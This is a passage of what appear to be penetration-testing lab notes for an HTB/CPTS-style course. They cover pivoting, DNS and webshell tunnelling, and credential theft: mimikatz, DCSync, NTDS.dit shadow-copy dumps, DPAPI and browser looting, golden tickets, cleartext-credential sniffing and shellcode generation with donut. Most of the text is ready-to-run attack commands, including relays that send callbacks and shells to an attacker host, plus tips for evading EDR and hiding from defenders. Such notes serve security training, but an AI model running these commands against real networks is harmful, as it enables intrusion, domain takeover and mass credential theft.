meterpreter > portfwd add -R -l 8081 -p 1234 -L $LHOST # reverse: pivot listens :1234 → me:8081
[!warning] Watch out
portfwd-l/-Lswap meaning when-Ris set — forward: my host listens on-l, relays to-r:-p; reverse: the pivot listens on-p, delivers to-L:-l. Easiestportfwddetail to get backwards. Barerun autorouteis deprecated — MSF’s own output points you atpost/multi/manage/autoroute. First ping sweep under-reports while ARP caches build — run it twice before trusting “host down”. MSF’s routing table only serves MSF modules and the socks_proxy auxiliary — it does not route my OS traffic; that’s what the SOCKS listener is for. Deck: 3 - Meterpreter Tunneling & Port Forwarding.
netsh portproxy — Windows-native, drops no binary
What to look for → compromised Windows workstation (phish/social-eng foothold), locked down enough that I’d rather not drop a tunnelling binary. netsh interface portproxy is built in.
Exploit / Attack
:: workstation listens on :8080 and forwards to internal RDP (needs admin + IP Helper svc)
netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=10.129.15.150 connectport=3389 connectaddress=172.16.5.25
netsh.exe interface portproxy show v4tov4 :: verify the rule took
netsh.exe interface portproxy delete v4tov4 listenport=8080 listenaddress=10.129.15.150 :: CLEANUP after
xfreerdp /v:10.129.15.150:8080 /u:victor /p:'pass@123' # from my box → the workstation's listen port
[!warning] Watch out The rule is persistent across reboots — it survives until you
deleteit, andshow v4tov4is exactly how a defender/auditor finds your forward, so clean up. Needs admin and the IP Helper (iphlpsvc) service running. It’s a single static forward, not a SOCKS proxy — one rule per internal service. Deck: 6 - Windows Netsh Port Forwarding & DNS Tunneling with Dnscat2.
dnscat2 — encrypted C2 over DNS (last-resort egress)
dnscat2 tunnels an encrypted session inside DNS queries. What to look for → egress is choked: HTTP/HTTPS filtered or DPI-inspected, but DNS resolves outbound (it almost always does). Firewalls that strip HTTPS rarely scrutinise DNS. (T1071.004)
Exploit / Attack
# Attacker — DNS C2 server (needs UDP/53 free; run as root). Prints a per-session PSK to reuse:
sudo ruby dnscat2.rb --dns host=$LHOST,port=53,domain=inlanefreight.local --no-cache
# Windows target — dnscat2-powershell client (transfer dnscat2.ps1 first):
Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver $LHOST -Domain inlanefreight.local -PreSharedSecret <secret> -Exec cmd
dnscat2> window -i 1 # drop into the interactive shell session on the server side
[!warning] Watch out Needs UDP/53 reachable to my server, and the PSK must match both ends — it’s what keeps the tunnel encrypted+authenticated; without it anyone watching the DNS traffic can hijack the session. It’s slow, low-bandwidth — a shell, not a file pipe — and loud in DNS logs (long TXT queries hammering one domain). Want full IP-over-DNS instead of a shell? iodine. Deck: 6 - Windows Netsh Port Forwarding & DNS Tunneling with Dnscat2.
reGeorg / Neo-reGeorg — tunnelling through the webshell itself
When the only thing I have is a webshell on a DMZ web server (no SSH, no binary execution, strict egress), the tunnel rides inside HTTP requests to the webshell. Upload the tunnel webshell (matching the server’s language), run the client on my box, get SOCKS through HTTP.
- reGeorg — the classic (Python 2, aspx/ashx/jsp/php shells).
- Neo-reGeorg — the maintained fork: Python 3 client, more server languages, encrypted traffic, better performance. Use this one.
# 1. Upload tunnel.<aspx|jsp|php> via my existing webshell/file-upload primitive
# 2. Client on my box:
python3 neoreg.py generate -k <password> # builds the webshell files with my key
python3 neoreg.py -k <password> -u http://$IP/uploads/tunnel.aspx -p 1080
# 3. SOCKS5 on 127.0.0.1:1080 → proxychains as usual
proxychains4 curl http://172.16.5.10/
[!warning] Watch out Every request is an HTTP POST to the webshell URL — visible and repetitive in the web server logs (IIS
C:\inetpub\logs\LogFiles\W3SVC*\), and throughput is modest. Match the webshell extension to the server tech (aspxon IIS,jspon Tomcat) or it 404s/500s instantly. The webshell file itself is dropped evidence — remove it at cleanup. Pairs naturally with the vault’s staged webshells (nt-webshell-rosepine.aspx (SHA-256 · GPG signature)) when I need the initial execution primitive.
[!note] Which tunnel when — the decision I make at the pivot
- SSH creds + dual-homed Linux pivot →
ssh -D+ proxychains (one service →-L; callback home →-R); or sshuttle for zero-prefix tooling if I have root locally.- No SSH, but I can run a binary (webshell/RCE) → socat relay; or chisel/ligolo for full SOCKS/L3 (already covered above).
- Only HTTP to a webshell, no exec → Neo-reGeorg (SOCKS through the shell itself).
- Already have a Meterpreter session → its built-in
autoroute+socks_proxy+portfwd— no SSH creds required.- Operating from Windows / LOLbin-only → plink -D (+ Proxifier) or netsh portproxy (native, drops nothing).
- Pivot can’t accept inbound but can dial out → reverse SOCKS: chisel
R:socks(above) or rpivot (Py2, legacy).- Everything blocked except DNS → dnscat2 — last resort, low-bandwidth C2.
- Want raw L3 + full SYN nmap, no proxychains → ligolo-ng (above). Full comparison tables in Tunneling · Pivoting and Tunnelling.
🔎 Recon behind the pivot — fscan
What to look for → once you have a Ligolo/chisel route into an internal subnet, proxychains-nmap is painfully slow. Drop a single static binary on the pivot and let it sweep host discovery + ports + quick-wins (MS17-010, Redis, open shares) in one shot.
[!tools] Stage this fscan — internal all-in-one scanner (host discovery, ports, service probes, weak-password checks, MS17-010).
./fscan -h 172.16.10.0/24 # full sweep of the internal /24
./fscan -h 172.16.10.5 -p 1-65535 # single host, all ports
./fscan -h 172.16.10.0/24 -np -no -nopoc # skip ping, save nothing, no POC checks (quieter)
./fscan -h 172.16.10.0/24 -o fscan_out.txt # results to file → exfil via the same tunnel
[!warning] Watch out fscan’s MS17-010 check can BSOD the target and is flagged by every modern EDR — on a lab it’s fine, but know it’s loud.
-nopocdisables the exploit checks and leaves pure scanning. Prefer it for discovery, then hand the interesting hosts back to targeted tools. Deep dive: fscan.
🔬 NSE Service Triage Through a SOCKS Pivot
What to look for → after fscan gives you the live internal hosts, run targeted NSE scripts through the proxy for the detail. The SOCKS constraint matters: raw SYN (-sS), ICMP host-discovery, and most UDP do not traverse a SOCKS proxy — proxychains-nmap must be TCP-connect + no-ping.
# always: -sT (connect) -Pn (no ping) through proxychains
proxychains nmap -sT -Pn -p445 --script smb2-security-mode,smb2-capabilities,smb-os-discovery $IP # 445: also flags signing=off relay targets
proxychains nmap -sT -Pn -p3389 --script rdp-ntlm-info,rdp-enum-encryption $IP # 3389
proxychains nmap -sT -Pn -p111,2049 --script nfs-showmount,nfs-ls,nfs-statfs $IP # NFS
proxychains nmap -sT -Pn -p993,995 --script ssl-cert,ssl-enum-ciphers $IP # implicit TLS
proxychains nmap -sT -Pn -p80,8080 --script http-title,http-headers,http-methods,http-enum $IP # web
[!tip]
fscanis the fast sweep; this is the documented NSE follow-up an assessor expects. Deep dive: Internal Network Nmap Triage - 2026-08-26.
🧵 SSH & socat Forwarding — the reference matrix
When ligolo/chisel aren’t an option (no upload, or you only have SSH creds), native SSH does most pivoting. The mental model: -L brings a remote port to me, -R pushes my port to them, -D is a dynamic SOCKS. Deep dives: Tunneling · Socat-Cheatsheet.
| Goal | Command | Then use |
|---|---|---|
| Reach an internal service through the pivot | ssh -N -L 8080:172.16.5.10:80 user@$IP | curl 127.0.0.1:8080 |
| Pivot can’t reach me → push a port to it | ssh -N -R 445:127.0.0.1:445 user@$IP | target hits pivot:445 |
| SOCKS through the pivot (scan whole subnet) | ssh -N -D 1080 user@$IP | proxychains nmap -sT -Pn … |
| Multi-hop in one line (jump host) | ssh -J user@$IP user2@172.16.5.10 | lands on the deep host |
| Background + keepalive | ssh -fN -o ServerAliveInterval=30 -D 9050 user@$IP | tunnel survives idle |
Add -f background, -g share the local bind on the LAN |
# socat relay — expose an internal host's port on the pivot (when you can't SSH)
socat TCP-LISTEN:8080,fork,reuseaddr TCP:172.16.5.10:80 # on the pivot → hit pivot:8080
# socat reverse relay — bounce a callback through the pivot back to me
socat TCP-LISTEN:4444,fork TCP:$LHOST:4444 # target → pivot:4444 → my :4444
# TLS-wrapped relay (evades plaintext inspection on the hop)
socat OPENSSL-LISTEN:443,cert=s.pem,verify=0,fork TCP:127.0.0.1:4444
[!tip] Chain hops:
ssh -D 1080to hop 1, then from hop 1ssh -D 1081to hop 2, and stack SOCKS inproxychains.conf(top = first hop). Through any SOCKS: nmap must be-sT -Pn— raw SYN/ICMP/UDP don’t traverse it.~Cinside a live SSH session opens a console to add-L/-Rforwards without reconnecting.
🩸 Step 4 — Loot (credential extraction)
Loot doctrine: every box I touch is a credential source, and every credential re-enters the funnel — Stage 08 (11 - Stage 08 - Password Attacks and Credential Hunting) for cracking, Stage 06 (09 - Stage 06 - ACL and Object Abuse) for the rights those new accounts hold. Loot, re-spray, re-enumerate.
Mimikatz — LSASS, PtH, tickets, DCSync (on-host)
privilege::debug
sekurlsa::logonpasswords # MSV/WDigest/Kerberos material from logon sessions
sekurlsa::ekeys # AES keys (for overpass-the-hash / -k)
sekurlsa::tickets /export # .kirbi for Rubeus ptt / kerberos::ptt
sekurlsa::pth /user:Administrator /domain:$DOMAIN /ntlm:<NThash> /run:cmd.exe
lsadump::sam # local SAM
lsadump::dcsync /domain:$DOMAIN /user:krbtgt # DCSync from a DA session
[!warning] Watch out
privilege::debugmust return OK first (needs high-integrity +SeDebugPrivilege). Credential Guard / no-WDigest = empty cleartext; grab NT hashes or tickets instead. x64 mimikatz on x64 Windows. If EDR eats the binary, fall back tonxc --sam/--lsaor secretsdump — or nanodump/pypykatz/lsassy for a lower-signature LSASS read. Deck: Mimikatz-Cheatsheet.
Impacket secretsdump — remote SAM/LSA, DCSync, offline
# Remote SAM + LSA + cached creds (local admin on the box)
secretsdump.py "$DOMAIN/Administrator:$P@$IP"
secretsdump.py "$DOMAIN/Administrator@$IP" -hashes ":$H" # PtH
# DCSync (replication rights) — single user is the stealthy default
secretsdump.py "$DOMAIN/Administrator:$P@$DC" -just-dc-user krbtgt
secretsdump.py "$DOMAIN/Administrator:$P@$DC" -just-dc-user Administrator
secretsdump.py "$DOMAIN/Administrator@$DC" -hashes ":$H" -just-dc-ntlm -outputfile domain_hashes
export KRB5CCNAME=./administrator.ccache
secretsdump.py -k -no-pass "$DOMAIN/Administrator@$DC" -just-dc # NT + Kerberos + cleartext
# Offline from copied hives
secretsdump.py -sam SAM -security SECURITY -system SYSTEM LOCAL
# nxc equivalents
nxc smb $DC -u Administrator -p "$P" --ntds drsuapi # DCSync
nxc smb $IP -u Administrator -p "$P" --sam --lsa
[!warning] Watch out
-just-dc-ntlmgives NT only — use-just-dc(no-ntlm) for NT + AES keys + cleartext.-just-dcneeds both replication ACEs (Get-Changes and Get-Changes-All) — DA, EA, DCs, and anyone granted the rights via Stage 06 ACL abuse qualify.0 hashesback = wrong domain FQDN ($DOMAIN, not the NetBIOS name) or user typo. DCSync fires Event 4662 on the DC from a non-DC account. Full playbook: 🔵 Attack.
Domain-wide harvest — DCSync as the endgame
Once I have replication rights, DCSync (T1003.006) is the crown-jewel move: it asks a DC to “replicate” password data to me. No code runs on the DC, no files touch it — just DRSUAPI RPC, which is what real DCs do all day.
# impacket (remote, my box):
secretsdump.py "$DOMAIN/Administrator:$P@$DC" -just-dc-ntlm -outputfile dcsync_ntlm
secretsdump.py "$DOMAIN/Administrator:$P@$DC" -just-dc-user "$DOMAIN\krbtgt"
# nxc:
nxc smb $DC -u Administrator -p "$P" --ntds drsuapi
nxc smb $DC -u Administrator -p "$P" --ntds --user krbtgt # single user
# mimikatz (from a DA session on any domain box):
# lsadump::dcsync /domain:$DOMAIN /all /csv
# lsadump::dcsync /domain:$DOMAIN /user:krbtgt
[!warning] Watch out Rights needed: Replicating Directory Changes + Replicating Directory Changes All on the domain object (DA/EA hold both). Detection: 4662 (operation: Replication Get Changes All, from a non-DC account) — the classic Sigma/DCSync detection — plus network IDS watching DRSUAPI from non-DC IPs. Prefer
-just-dc-usertargeting (krbtgt, then DA accounts) over a full dump in monitored environments.
NTDS.dit — when DCSync is blocked
On the DC (local admin/SYSTEM) — copy the locked DB via shadow copy, grab SYSTEM hive:
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\Temp\ntds.dit
reg save HKLM\SYSTEM C:\Temp\SYSTEM
vssadmin delete shadows /shadow={shadow-id} /quiet
Remote / offline
secretsdump.py "$DOMAIN/Administrator:$P@$DC" -just-dc -outputfile domain_dump # remote via DRSUAPI
nxc smb $DC -u Administrator -p "$P" --ntds vss # remote via VSS
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL -outputfile parsed_hashes # parse exfil'd files
# ntdsutil IFM alternative on the DC (creates a clean install media set):
# ntdsutil "ac i ntds" "ifm" "create full C:\Temp\ifm" q q
[!warning] Watch out Can’t
copythe liventds.dit— it’s locked (ERROR_SHARING_VIOLATION); must use VSS / ntdsutil IFM / esentutl /y /vss. Offline parse: theSYSTEMhive must be from the same DC as the .dit (different Boot Keys) or you get garbage.vssadminfires Event 8222 + 4688 —diskshadowis quieter. Prefer DCSync; only touch the file when RPC replication is blocked. Detail: 🔵 Attack.
DPAPI — masterkeys, saved creds, browser secrets
DPAPI (T1555.004) protects every “saved password” on Windows — RDP saved creds, scheduled-task passwords, Chrome/Edge logins, WiFi keys, vaults. Two unlock paths: per-user masterkeys (decrypt with the user’s password/hash/SID), or the domain DPAPI backup key (from a DC, decrypts any domain user’s masterkey).
[!tools] Stage this SharpDPAPI — GhostPack DPAPI toolkit: masterkey triage, blob decryption, Chrome/vault/SCCM extraction.
nxc smb $IP -u "$U" -p "$P" --dpapi # decrypt saved creds/secrets
nxc smb $IP -u "$U" -p "$P" --dpapi cookies # browser cookies
nxc smb $IP -u "$U" -p "$P" --sam --lsa --dpapi # one-shot everything
# Manual masterkey → credential blob chain:
impacket-dpapi masterkey -file masterkey -sid <SID> -password "$P"
impacket-dpapi credential -file <cred_blob> -key <decrypted_masterkey>
:: SharpDPAPI on-host:
SharpDPAPI.exe masterkeys /target:C:\Users\*\AppData\Roaming\Microsoft\Protect\* /password:"$P"
SharpDPAPI.exe credentials /password:"$P" :: decrypt Credential blobs with masterkeys
SharpDPAPI.exe vaults /password:"$P" :: Windows Vault entries
SharpDPAPI.exe chrome /password:"$P" :: Chrome logins + cookies
SharpDPAPI.exe sccm :: SCCM NAA creds (if the box is an SCCM client)
:: DOMAIN backup key path (needs DA — grab the PVK once, decrypt everywhere, forever):
SharpDPAPI.exe backupkey /server:$DC /file:dpapi_backup.pvk
SharpDPAPI.exe masterkeys /pvk:dpapi_backup.pvk /target:C:\Users\victim\...\Protect\{GUID}
[!tip] Pro-move DPAPI is where the loot the user thought was “saved safely” lives — RDP creds, scheduled-task passwords, WiFi, Chrome logins. Always run
--dpapion a(Pwn3d!)box; it often hands you the next hop’s password in cleartext. The backupkey PVK is a stealthy, reboot-surviving domain secret: one grab as DA, then offline decryption of any domain user’s DPAPI blobs without touching a DC again. Detection: LSASS/DC RPC access + 4662 onsecretattributes isn’t the tell here — watch for mass reads of...\Microsoft\Protect\(Sysmon 11 / 4663).
Browser creds & LaZagne — the everything-extractor
[!tools] Stage this LaZagne — local credential looting: browsers, mail, WiFi, Git, VPN clients, chats, sysadmin tools.
LaZagne.exe all :: everything it can find, prints to console
LaZagne.exe all -oN -output C:\Temp :: write plain output to a dir (exfil + delete after)
LaZagne.exe browsers :: just browser creds
[!warning] Watch out Chrome ≥ v127 (mid-2024+) uses App-Bound Encryption — old “grab Login Data + Local State” tricks fail for the newest builds; DPAPI + running-as-the-user approaches still matter. LaZagne is signatured everywhere; expect to run it from memory or accept the detection in a lab. Check browser profile paths:
C:\Users\*\AppData\Local\Google\Chrome\User Data\,...\Microsoft\Edge\User Data\,...\Mozilla\Firefox\Profiles\. (T1555.003)
KeePass — the password manager jackpot
Admins store the good stuff in KeePass. Find the .kdbx, and hunt for a keyfile or recover the master password.
# On the box (or via nxc spider):
nxc smb $IP -u "$U" -p "$P" -M spider_plus # map downloadable files
# search shares/host for *.kdbx, *.keyx, KeePass.config.xml (can pin the database path)
# Offline — convert to a crackable hash and feed Stage 08:
keepass2john Database.kdbx > keepass.hash
hashcat -m 13400 keepass.hash rockyou.txt
[!tip] CPTS keepass2john (john jumbo) handles kdbx; hashcat mode 13400. The crack is slow by design (AES-KDF rounds) — build a targeted wordlist from the org’s naming/culture (CeWL against their intranet + rules) rather than raw rockyou. Cross-link: 11 - Stage 08 - Password Attacks and Credential Hunting.
Files & shares — Snaffler sweeps the domain for me
[!tools] Stage this Snaffler — enumerate AD computers, find readable shares, grep file names/contents for credential patterns.
Snaffler.exe -s -o snaffler.log :: domain-wide share+content hunt
Snaffler.exe -s -d $DOMAIN -c $DC -o loot.txt :: explicit domain/DC
Snaffler.exe -s -i C:\Shares -o local.log :: single path instead of domain enum
# Linux-side equivalents for quick manual hunts:
nxc smb $IP/24 -u "$U" -p "$P" --shares
smbclient "//$IP/Department Shares" -U "$DOMAIN/$U%$P" -c 'recurse;ls'
[!tip] What Snaffler finds that pays
web.config(IIS app-pool DB creds),unattend.xml/sysprep.inf(local admin),*.ps1deploy scripts with embedded service accounts,.rdpfiles,id_rsa,appsettings.jsonconnection strings,KeepNotes.kdbx, VPN profiles. It is loud (opens thousands of files over SMB — 4663 storm if audited); scope it with-ito likely shares in monitored engagements. PowerHuntShares is the PowerShell alternative.
Quick-hit loot checklist (per pwned Windows host)
# Registry — saved creds, autologon, SNMP, VNC/putty:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" | findstr /i "pass"
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
reg query HKCU\Software\SimonTatham\PuTTY\Sessions /s
reg save HKLM\SAM C:\Temp\SAM & reg save HKLM\SYSTEM C:\Temp\SYSTEM # offline secretsdump later
# cmdkey — Windows Credential Manager entries (usable with runas /savecred targets):
cmdkey /list
# WiFi profiles (ssid + psk in cleartext):
netsh wlan show profile
netsh wlan show profile name="CorpWiFi" key=clear
# PowerShell history — admins paste creds here CONSTANTLY:
type C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# IIS web.config (app pool / connection strings):
type C:\inetpub\wwwroot\web.config
# Recycle bin (deleted ≠ gone):
dir /s /a C:\$Recycle.Bin
# Email — local .pst/.ost stores (Outlook cached mail = intel + creds):
dir /s C:\Users\*\AppData\Local\Microsoft\Outlook\*.ost C:\Users\*\Documents\*Outlook*.pst
# Certificates & keys (cross-link Stage 07 for ADCS-side abuse):
dir /s C:\Users\*\*.pfx C:\Users\*\*.p12 C:\*.pem C:\*.key 2>nul
# Cloud CLI caches:
dir %USERPROFILE%\.aws %USERPROFILE%\.azure %USERPROFILE%\.kube 2>nul
[!tip] Certificates as loot Exported
.pfx/.p12user or machine certs = PKINIT auth without any password (cert → TGT via Certipy / Rubeusasktgt /pkcs12:). Full certificate-theft playbook: Stage 07 — ADCS & Certificate Abuse. (T1552.004)
[!note] SessionGopher SessionGopher automates the PuTTY/WinSCP/FileZilla/RDP-saved-cred portion of this checklist from PowerShell — good for a thorough single-host sweep when Snaffler is share-only.
Post-loot — what the hashes buy
# Golden Ticket from the krbtgt hash → permanent DA
ticketer.py -nthash <KRBTGT_NT> -domain-sid <S-1-5-21-...> -domain "$DOMAIN" Administrator
export KRB5CCNAME=Administrator.ccache && psexec.py -k -no-pass "$DOMAIN/Administrator@$DC"
# Crack the dump
hashcat -m 1000 domain_hashes.ntds rockyou.txt # NT hashes (see Hashcat-Cheatsheet)
# Spray extracted hashes for local-admin reuse
nxc smb $IP/24 -u Administrator -H <NThash> --local-auth --continue-on-success
🩸 Doctrine — re-run BloodHound as each new identity
Every new account/hash I land invalidates my current attack-path map. The disciplined loop:
- Loot host → new creds.
- Re-collect with SharpHound or bloodhound-ce-python as the new identity (it may see sessions/shares/ACLs the previous identity couldn’t).
- Re-query BloodHound CE shortest paths from the new principal.
- Spray only what the graph says matters.
nxc ldap $DC -u "$NEW_U" -p "$NEW_P" --bloodhound -c All --dns-server $DC
# or on-host: SharpHound.exe -c All,LoggedOn --zipfilename bh_newident
[!tip] Why it matters Sessions and local-admin edges are per-viewpoint in practice: a box that shows no path from user A often shows a 2-hop path from user B (an RDP session, a readable share with creds, a new ACL). Collection details: Stage 04 — AD Enumeration.
📡 Network Credential Harvesting (sniffing and PCAP)
[!warning] Scope and data handling Packet captures can contain credentials, session material, personal data, and traffic from systems outside the target list. Capture only on an explicitly authorized interface and time window. Encrypt the evidence at rest, record its hash and provenance, and delete it according to the engagement’s retention rules.
A useful capture point is a host that legitimately sees more than its own traffic: a router, multi-homed server, proxy, span/TAP destination, or a system carrying legacy cleartext protocols. A normal switched endpoint usually sees only its own unicast traffic plus broadcasts and multicasts.
1. Select the correct interface
Do not default to any until you understand the route. It can combine interfaces, duplicate traffic on some systems, and omit interface-specific link-layer detail.
ip -br address
ip route
ip route get "$IP"
tcpdump -D
tshark -D
dumpcap -D
[!tip] Route-driven choice If
ip route get "$IP"reportsdev ens192, start withens192. Generate one known connection, then confirm that its packets appear before beginning a long capture.
2. Reproduce the ILFREIGHT capture safely
The original scenario works as written. The output is still a PCAP even if the filename has no extension.
sudo tcpdump -i ens192 -s 65535 -w ilfreight_pcap
A more analysis-friendly version disables name lookups, flushes packets to disk promptly, increases the capture buffer, and excludes the SSH management session:
sudo tcpdump \
-i ens192 \
-nn \
-s 65535 \
-U \
-B 4096 \
-w ilfreight_pcap.pcap \
'not port 22'
| Option | Purpose |
|---|---|
-i ens192 | Capture on the interface that carries the target traffic. |
-nn | Keep IP addresses and ports numeric; avoids DNS/service-name noise. |
-s 65535 | Retain up to 65,535 bytes per packet—enough for normal IPv4/Ethernet traffic. |
-U | Write each received packet to the save file promptly. |
-B 4096 | Request a larger kernel capture buffer to reduce drops on a busy link. |
-w file.pcap | Save raw packets for offline analysis instead of printing decoded lines. |
[!note] Snaplen On current tcpdump builds, the default snaplen is already larger than 65,535 bytes, and
-s 0selects that default rather than meaning literally unlimited. Keeping-s 65535makes this lab scenario explicit and portable. Do not use a small header-only snaplen when you need application data or transferred objects.
Stop with Ctrl+C and read tcpdump’s captured, received-by-filter, and dropped-by-kernel counters. A nonzero drop count means the capture may be incomplete; narrow the filter, enlarge the buffer, or move the collection point.
3. Use capture filters before collecting
-f in TShark/Dumpcap and the expression at the end of tcpdump use BPF capture-filter syntax. -Y uses Wireshark display-filter syntax when reading or displaying packets. They are different languages.
One host or subnet
sudo tcpdump -i ens192 -nn -s 65535 -w ilfreight_host.pcap \
'host 172.16.5.10 and not port 22'
sudo tcpdump -i ens192 -nn -s 65535 -w ilfreight_net.pcap \
'net 172.16.5.0/24 and not port 22'
Legacy authentication protocols
sudo tcpdump -i ens192 -nn -s 65535 -w ilfreight_legacy.pcap \
'(tcp port 21 or tcp port 23 or tcp port 80 or tcp port 110 or tcp port 143 or tcp port 389) and not port 22'
Common Windows authentication traffic
sudo tcpdump -i ens192 -nn -s 65535 -w ilfreight_windows-auth.pcap \
'(tcp port 88 or udp port 88 or tcp port 389 or tcp port 445) and not port 22'
[!tip] Validate the BPF before a long run Replace
-w file.pcapwith-c 20to print twenty matching packets, or add-dto inspect the compiled BPF without capturing.
4. Bound disk use with a ring buffer
tcpdump — eight files of roughly 100 MB each
sudo tcpdump \
-i ens192 \
-nn \
-s 65535 \
-U \
-C 100 \
-W 8 \
-w ilfreight_ring.pcap \
'not port 22'
Dumpcap — eight files of 102,400 kB each
sudo dumpcap \
-i ens192 \
-s 65535 \
-B 64 \
-f 'not port 22' \
-b filesize:102400 \
-b files:8 \
-w ilfreight_ring.pcapng
[!info] Why Dumpcap Dumpcap is Wireshark’s dedicated capture helper. When the operating system’s Wireshark group/capability setup permits it, an authorized user can capture without running the full analyzer as root. Its default output is PCAPNG.
5. When tcpdump or root is unavailable
First check what the host already permits; do not grant yourself capture capabilities or bypass file permissions.
command -v tcpdump tshark dumpcap
getcap "$(command -v tcpdump)" 2>/dev/null
getcap "$(command -v dumpcap)" 2>/dev/null
id
If dumpcap -D lists interfaces and the selected interface is accessible, use the same bounded capture without sudo:
dumpcap \
-i ens192 \
-s 65535 \
-f 'host 172.16.5.10 and not port 22' \
-b filesize:102400 \
-b files:4 \
-w ilfreight_user.pcapng
If packet capture is not permitted, use an approved alternative:
- Analyze an existing readable PCAP/PCAPNG supplied by the operator.
- Ask the system or network owner to collect a tightly filtered capture.
- Use connection metadata (
ss -tpna,ip neigh, firewall logs, proxy logs, application logs, and relevantjournalctlunits). This does not recover packet payloads. - Stream an authorized capture from a remote collection point so the PCAP is written locally:
ssh analyst@pivot \
'sudo tcpdump -i ens192 -nn -U -s 65535 -w - "host 172.16.5.10 and not port 22"' \
> ilfreight_remote.pcap
[!warning] SSH stream Keep
-Uso packets are flushed through the pipe. Exclude the management flow or capture a specific host; otherwise the SSH stream can capture itself and grow rapidly.
6. Windows fallback with Pktmon
Pktmon is built into current supported Windows client/server releases. Run these from an elevated Command Prompt. Each named filter is an OR branch; conditions inside one filter must all match. Pktmon does not distinguish source from destination for its IP and port filters.
Clear old filters and add narrow filters
pktmon filter remove
pktmon filter add ILF-LDAP -i 172.16.5.10 -t TCP -p 389
pktmon filter add ILF-SMB -i 172.16.5.10 -t TCP -p 445
pktmon filter list
Capture complete packets to a bounded circular ETL
mkdir C:\Temp 2>nul
pktmon start --capture --pkt-size 0 --file-name C:\Temp\ilfreight.etl --file-size 512 --log-mode circular
pktmon status
pktmon counters
Reproduce the authorized traffic, then stop and convert it:
pktmon stop
pktmon etl2pcap C:\Temp\ilfreight.etl --out C:\Temp\ilfreight.pcapng
[!note] Pktmon conversion
--pkt-size 0records the full packet; the default is only 128 bytes. ETL preserves Pktmon’s component/drop context, while PCAPNG is easier to analyze in Wireshark. Conversion loses some component and drop distinctions, so retain the original ETL with the evidence.
7. Triage and reduce the capture offline
Start with metadata before searching for credential material.
capinfos ilfreight_pcap.pcap
tshark -r ilfreight_pcap.pcap -q -z io,phs
tshark -r ilfreight_pcap.pcap -q -z endpoints,ip
tshark -r ilfreight_pcap.pcap -q -z conv,tcp
Write only the packets that match a display filter:
tshark \
-r ilfreight_pcap.pcap \
-Y 'ip.addr == 172.16.5.10 && tcp.port == 389' \
-w ilfreight_ldap-only.pcapng
Trim by time, remove exact duplicates, or merge rotated files:
editcap \
-A '2026-08-27 10:00:00' \
-B '2026-08-27 10:15:00' \
ilfreight_pcap.pcap \
ilfreight_15min.pcapng
editcap -d ilfreight_pcap.pcap ilfreight_deduplicated.pcapng
mergecap -w ilfreight_combined.pcapng ilfreight_ring*.pcap
8. Carve protocol evidence with TShark
Use -T fields for compact, tab-separated evidence. Add -E header=y -E separator=, -E quote=d when you want CSV.
FTP and HTTP Basic candidates
tshark -r ilfreight_pcap.pcap \
-Y 'ftp.request.command == "USER" || ftp.request.command == "PASS"' \
-T fields \
-e frame.number -e ip.src -e ip.dst \
-e ftp.request.command -e ftp.request.arg
tshark -r ilfreight_pcap.pcap \
-Y 'http.authorization' \
-T fields \
-e frame.number -e ip.src -e http.host -e http.authorization
LDAP simple bind and cleartext mail protocols
tshark -r ilfreight_pcap.pcap \
-Y 'ldap.simple' \
-T fields \
-e frame.number -e ip.src -e ip.dst -e ldap.simple
tshark -r ilfreight_pcap.pcap \
-Y 'pop.request.command == "USER" || pop.request.command == "PASS"' \
-T fields \
-e frame.number -e ip.src -e pop.request.command -e pop.request.parameter
tshark -r ilfreight_pcap.pcap \
-Y 'imap.request.username || imap.request.password' \
-T fields \
-e frame.number -e imap.request.username -e imap.request.password
tshark -r ilfreight_pcap.pcap \
-Y 'smtp.auth.username || smtp.auth.password || smtp.auth.username_password' \
-T fields \
-e frame.number -e smtp.auth.username \
-e smtp.auth.password -e smtp.auth.username_password
Telnet and SNMP
tshark -r ilfreight_pcap.pcap \
-Y 'telnet.data' \
-T fields \
-e frame.number -e ip.src -e ip.dst -e telnet.data
tshark -r ilfreight_pcap.pcap \
-Y 'snmp.community' \
-T fields \
-e frame.number -e ip.src -e ip.dst -e snmp.community
NTLM and Kerberos identity evidence
tshark -r ilfreight_pcap.pcap \
-Y 'ntlmssp.auth.username' \
-T fields \
-e frame.number -e ip.src -e ip.dst \
-e ntlmssp.auth.domain -e ntlmssp.auth.username \
-e ntlmssp.auth.ntresponse
tshark -r ilfreight_pcap.pcap \
-Y 'kerberos.CNameString' \
-T fields \
-e frame.number -e ip.src -e ip.dst -e kerberos.CNameString
[!note] Encrypted protocols HTTPS, LDAPS, SMB encryption, and modern mail protocols protected by TLS do not expose cleartext credentials without legitimate session keys. NTLM and Kerberos fields can identify authentication activity, but a single TShark row is not necessarily a complete crackable hash.
9. Export transferred objects and run credential parsers
List the object exporters supported by the installed TShark build before choosing one.
tshark --export-objects help
mkdir -p carved-http carved-smb
tshark -r ilfreight_pcap.pcap --export-objects http,carved-http
tshark -r ilfreight_pcap.pcap --export-objects smb,carved-smb
Use dedicated parsers as a second pass, not as a substitute for validating packet numbers and protocol context.
pcredz -f ilfreight_pcap.pcap
net-creds.py -p ilfreight_pcap.pcap
[!warning] Treat parser output as unverified Duplicate sessions, retransmissions, malformed traffic, and dissector assumptions can produce incomplete or misleading results. Tie every reported secret or challenge-response artifact back to its source packet and authorized target before testing it.
Command references: tcpdump manual · Dumpcap manual · TShark manual · Pktmon start · Pktmon filter syntax · Pktmon ETL-to-PCAPNG
🍩 Custom tooling — donut (PE → shellcode)
When lateral movement needs an in-memory payload (e.g. injecting my own PE into a remote process instead of dropping an EXE that AV will eat), donut converts EXE/DLL/.NET assemblies into position-independent shellcode.
[!tools] Stage this donut v1.1 (Windows + Linux builds in the zip):
# One-liner use case: turn Rubeus.exe into injectable shellcode
donut -a 3 -f Rubeus.exe -o rubeus.bin # -a 3 = amd64+x86, default format .bin
# Then inject rubeus.bin via my C2's shellcode-injection primitive — no EXE ever touches disk
[!warning] Watch out Donut output is not invisible — it has known signatures and is flagged by modern EDR; combine with a loader/encryptor (ScareCrow, Freeze) in monitored labs. In HTB/CPTS labs it’s usually fine as-is. Match
